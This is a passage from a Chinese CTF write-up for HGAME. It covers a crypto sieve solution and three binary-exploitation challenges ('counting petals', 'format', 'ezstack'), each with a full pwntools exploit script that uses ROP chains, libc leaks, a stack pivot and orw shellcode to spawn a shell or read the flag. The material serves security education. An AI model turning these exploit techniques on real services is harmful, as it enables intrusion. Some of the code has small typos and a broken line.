| | 2 | -4 | 4 | -4 | 0 | 0 | 4 | 4 | 2 | 6 | -4 | 0 | 0 |
| | 4 | 0 | 0 | -4 | -4 | 0 | -2 | 4 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 53 | [| 7 | 3 | 1 | -3 | -1 | 1 | 5 | -3 | -7 | 5 | 3 | -5 |
| | 7 | 1 | 9 | -1 | 5 | 1 | -5 | -1 | 5 | 5 | -5 | 1 | 1 |
| | -3 | -1 | -5 | -5 | -1 | -3 | 7 | -1 | 5 | -3 | 3 | 1 | -3 |
| | 5 | 5 | -9 | -1 | -5 | -1 | -1 | 3 | -1 | 3 | -3 | 1 | -3 |
| | -3 | -5 | 1 | -1 | -3 | 3 | -1 | 7 | 1 | 1 | 1 | -1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 54 | [| 2 | 4 | 2 | -4 | -2 | 2 | 2 | -2 | 0 | -4 | 2 | -2 |
| | 0 | 4 | 6 | -2 | 8 | -4 | -10 | -2 | -2 | -2 | 0 | -6 | 0 |


```

62  [  -5    1    5    7    5   -5   -1   -5   -1   -1    1    1
    -11    5    3    3   -1   -7   -3   -1    5   -5   -5    3    1
      1   -1   -5    5    1   -3   -5    3    1    7   -1   -3    7
     -5   -1    1    1    1   -5    5    1   -1   -5   -1    1    1
     -1   -1    3    1   -1    1    1   -5   -1    3   -1   -1   -1
-1024 1024 1024 -1024]
63  [  -5   -3   -3   -3   -1   -5    1   -3   -5    1    1   -5
    -5    3    3    3    7    5    1   -1   -5    1   -3    1   -7
      1    3   -3   -3    1   -1    1    1   -5    5    3    1    5
     -3    5    7    5   -3    1   -3    3   -1    1    1    1    3
     -1    5    1    1    3   -3    3   -3   -1    5    1   -1    1
1024 1024 -1024 1024]
64  [  -1   -1   -1   -1   -3    3    5    1    3    1    1    5
      3    1    1   -7    3    1   -1    3   -9   -5    7    3    1
     -3    3    3   -5   -3   -5    3  -13   -3   -7    5    7    3
      5    1   -7    3   -1    3   -3    5    1    3   -3    1   -1
     -3   -3   -3    1   -3    3   -1    1   -1   -5   -1    1   -1
-1024 1024 1024 1024]
65  [  -1   -1   -1    3   -1   -3    3   -5    7   -3    1    7
      5   -3   -1    1   -1   -3    1    1   -1   -1    3    1   -3
     -3    1    9   -3   -7   -7    1   -7    1   -1   -1   -3    3
     -5   -1    5   -1   -1    3   -1   -1   -3   -1    5    1    1
      1   -1   -3   -1   -3    1    1    1   -1    1    1    1    1
      0    0 -2048    0]
66  17739748707559623655
67  b'hgame{A_Simple_Modul@r_Subset_Sum_Problem}\x06\x06\x06\x06\x06\x06'

```

sieve

观察trick(n)函数的作用，发现是计算n之前素数个数+前n项欧拉函数和

那么我们就用两种筛去更快速地筛出这两个值，这样就可以求出p,q,n了

```

1  #筛1 (也可以用sage内置的prime_pi())
2  def count_primes_optimized_sieve(n):
3      if n < 2:
4          return 0
5      is_prime = [True] * (n + 1)
6      is_prime[0], is_prime[1] = False, False
7      for i in range(2, int(n**0.5) + 1):
8          if is_prime[i]:
9              for j in range(i*i, n + 1, i):
10                 is_prime[j] = False
11         return sum(is_prime)
12 count_primes_optimized_sieve(65537^2//6)
13 #37030583

```

```

14 #筛2
15 def linear_sieve_phi(m):
16     phi = [0] * (m + 1)
17     is_prime = [True] * (m + 1)
18     primes = []
19     phi[1] = 1
20     for i in range(2, m + 1):
21         if is_prime[i]:
22             primes.append(i)
23             phi[i] = i - 1
24         for p in primes:
25             if i * p > m:
26                 break
27             is_prime[i * p] = False
28             if i % p == 0:
29                 phi[i * p] = phi[i] * p
30                 break
31             else:
32                 phi[i * p] = phi[i] * (p - 1)
33     pre_s = [0] * (m + 1)
34     for i in range(1, m + 1):
35         pre_s[i] = pre_s[i - 1] + phi[i]
36     return phi, pre_s
37
38 class EulerSumSolver:
39     def __init__(self, m=10**6):
40         self.m = m
41         self.phi, self.pre_s = linear_sieve_phi(m)
42         self.cache = {}
43
44     def S(self, n):
45         if n <= self.m:
46             return self.pre_s[n]
47         if n in self.cache:
48             return self.cache[n]
49         res = n * (n + 1) // 2
50         v = int(n ** 0.5)
51         sum1 = 0
52         for i in range(2, v + 1):
53             sum1 += self.S(n // i)
54         u = n // (v + 1)
55         sum2 = 0
56         for k in range(1, u + 1):
57             sum2 += self.S(k) * (n // k - n // (k + 1))
58         res -= (sum1 + sum2)
59         self.cache[n] = res
60         return res

```

```

61 solver = EulerSumSolver(m=10**6)
62 print(slover.S(65537^2//6))
63 #155763335194435672

```

但本题中由于 $e^2/6$ 的数值不是非常得大，因此把递归改掉也能够在较短的时间内暴力算出欧拉和

PWN

counting petals

通过简单调试/逆向可以比较快速的得出这里有一个数组越界

我们可以把控制循环的两个参数覆盖掉

不过写入的时候是按8字节写入的，而维护循环的两个参数都是四字节的int，

所以只要一次性把两个都覆盖就好了（

这样就可以在栈上任意地址读写了

最后加上的随机数是不可控的，我们可以预测它但不可以改变它

所以1/2概率尝试就可以了

```

1  from pwn import *
2
3  context(log_level = 'debug', arch = 'amd64', os = 'linux')
4
5  elf_path = './vuln'
6  libc_path = './libc.so.6'
7
8  elf=ELF(elf_path)
9  libc = ELF(libc_path)
10
11 while(1):
12     # p = process('./vuln')
13     p = remote("node1.hgame.vidar.club",30406)
14     try:
15         #-----1-----
16         p.sendlineafter(b"How many flowers have you prepared this
time?",b'16')
17
18         for i in range(15):
19             p.sendlineafter(b'the flower number ',str(i).encode())
20
21         p.sendlineafter(b'the flower number ',str(0x1300000014).encode())
22         p.sendlineafter(b'the flower number ',str(1).encode())
23

```

```

24         p.sendlineafter(b'Reply 1 indicates the former and 2 indicates the
latter: ',b'1')
25         p.recvuntil(b"Let's look at the results.")
26
27         x = str(p.recvuntil(b'=')).split()
28         print(x)
29         libc_base = int(x[36]) - 0x29d90
30         success('libc_base ='+hex(libc_base))
31
32         pop_rdi = 0x02a3e5+libc_base
33         bin_sh = 0x01d8678+libc_base
34         ret = 0x029139+libc_base
35         system = libc.sym['system']+libc_base
36
37         p.sendlineafter(b"How many flowers have you prepared this
time?",b'16')
38     except:
39         p.close()
40         continue
41
42     #-----2-----
43     # gdb.attach(p)
44     for i in range(15):
45         p.sendlineafter(b'the flower number ',str(i).encode())
46
47     # ROP
48     p.sendlineafter(b'the flower number ',str(0x1200000016).encode())
49     p.sendlineafter(b'the flower number ',str(pop_rdi).encode())
50     p.sendlineafter(b'the flower number ',str(bin_sh).encode())
51     p.sendlineafter(b'the flower number ',str(ret).encode())
52     p.sendlineafter(b'the flower number ',str(system).encode())
53     p.sendlineafter(b'Reply 1 indicates the former and 2 indicates the
latter: ',b'1')
54     break
55
56 p.interactive()
57

```

format

printf调用之后会残留这次打印的结果在rsi中，并且此结果没有'\0'结尾，从而不断用%sX，直到能打印出地址

(当然，这题由于后面的栈溢出，导致有很多其他解法)

```
1 from pwn import *
```

```

2 context(os='linux', arch='amd64', log_level='debug')
3 is_debug = 0
4 elf = context.binary = ELF('./vuln') #TODO
5 libc = elf.libc
6 def connect():
7     return remote("node2.hgame.vidar.club", 30755) if not is_debug else
process()
8 s = lambda x: p.send(x)
9 sl = lambda x: p.sendline(x)
10 sa = lambda x, y: p.sendafter(x, y)
11 sla = lambda x, y: p.sendlineafter(x, y)
12 r = lambda x=None: p.recv() if x is None else p.recv(x)
13 rl = lambda: p.recvline()
14 ru = lambda x: p.recvuntil(x)
15
16 p = connect()
17 #-----
-----
18
19 sla("n = ", "3699")
20 for i in range(0, 3698):
21     sla("type something:", "%sX")
22
23 pause()
24 sla("type something:", "%s")
25 pause()
26 addr = u64(r(3808)[-6:].ljust(8, b'\x00'))
27 libc_base = (addr >> 12) << 12
28 system_addr = libc_base + libc.sym['system']
29 pop_rdi = libc_base + 0x2a3e5
30 binsh = next(libc.search(b'/bin/sh'))
31 binsh_addr = libc_base + binsh
32 ret_addr = libc_base + 0xf8c92
33 print(hex(addr))
34 print(hex(libc_base))
35 print(hex(system_addr))
36 #gdb.attach(p)
37 sla("n = ", "-1")
38 payload = b'\x00'*5 + p64(0) + p64(pop_rdi) + p64(binsh_addr) + p64(pop_rdi +
1) + p64(system_addr)
39 s(payload)
40 p.interactive()

```

ezstack

题目的就是基本的栈迁移+orw。

栈迁移可以看（我刚写的）

https://hello-ctf.com/hc-pwn/ROP_Tricks/#_2

交互直接使用了tcp socket而不是常规的stdio，在交互时需要注意使用的fd。

这个exp的基本思路是想办法调用 `mprotect` 修改内存权限，然后ret2shellcode。

```
1  #!/usr/bin/env python3
2
3  from pwn import *
4
5  context.log_level = "debug"
6  context.terminal = ["konsole", "-e"]
7  context.arch = "amd64"
8
9  # p = remote("localhost", 9999)
10 p = remote("node2.hgame.vidar.club", "31244")
11
12 elf = ELF("./vuln")
13 libc = ELF("./libc-2.31.so")
14
15 leave_ret = 0x000000000004013cb
16 pop_rdi = 0x00000000000401713
17 pop_rsi_r15 = 0x00000000000401711
18
19 payload = flat({
20     0x50: [
21         p64(0x00404154),
22         p64(0x0040140F)
23     ]
24 })
25
26 p.sendafter(b"Good luck.\n", payload)
27
28 # Leak libc base
29 payload = flat({
30     0x00: p32(0),
31     0x04: [
32         p64(0x4041a0),
33         p64(pop_rdi),
34         p64(4),
35         p64(pop_rsi_r15),
36         p64(0x404030),
37         p64(0),
38         p64(0x401376), # print
39         p64(0x40140f), # vuln
```

```

40         p32(4),
41         p32(4)
42     ],
43     0x50: [
44         p64(0x404108),
45         p64(leave_ret)
46     ]
47 })
48
49 p.send(payload)
50
51 write_addr = u64(p.recv(6).ljust(8, b"\x00"))
52 log.success("write_addr = " + hex(write_addr))
53 libc_base = write_addr - libc.sym["write"]
54 log.success("libc_base = " + hex(libc_base))
55
56 pop_rsi      = libc_base + 0x0000000000002601f
57 pop_rdx_r12 = libc_base + 0x00000000000119431
58
59 open_addr    = libc_base + libc.sym["open"]
60 read_addr    = libc_base + libc.sym["read"]
61 mprotect_addr = libc_base + libc.sym["mprotect"]
62
63 payload = flat({
64     0x00: [
65         p64(0x4041e0),
66         p64(pop_rdi),
67         p64(0x404000),
68         p64(pop_rsi),
69         p64(0x1000),
70         p64(pop_rdx_r12),
71         p64(7),
72         p32(4),
73         p32(4),
74         p64(mprotect_addr),
75         p64(0x40140f),      # vuln
76     ],
77     0x50: [
78         p64(0x404150),
79         p64(leave_ret)
80     ]
81 })
82
83 p.send(payload)
84
85 shellcode = '''
86     mov rdi, 0x404190

```

```
87     xor edx, edx
88     xor esi, esi
89     push 2
90     pop rax
91     syscall
92
93     push 5
94     pop rdi
95     mov dx, 0xf0
96     mov esi, 0x404000
97     xor eax, eax
98     syscall
99
100    push 4
101    pop rdi
102    push 1
103    pop rax
104    syscall
105    '''
106
107    payload = b'''
108
109    payload += b"/flag".ljust(8, b"\x00")
110    payload += p64(0x4041b0)
111    payload += p64(0x4041b0)
112    payload += p64(0x4041b0)
113    payload += asm(shellcode)
114
115    p.send(payload)
116
117    p.interactive()
```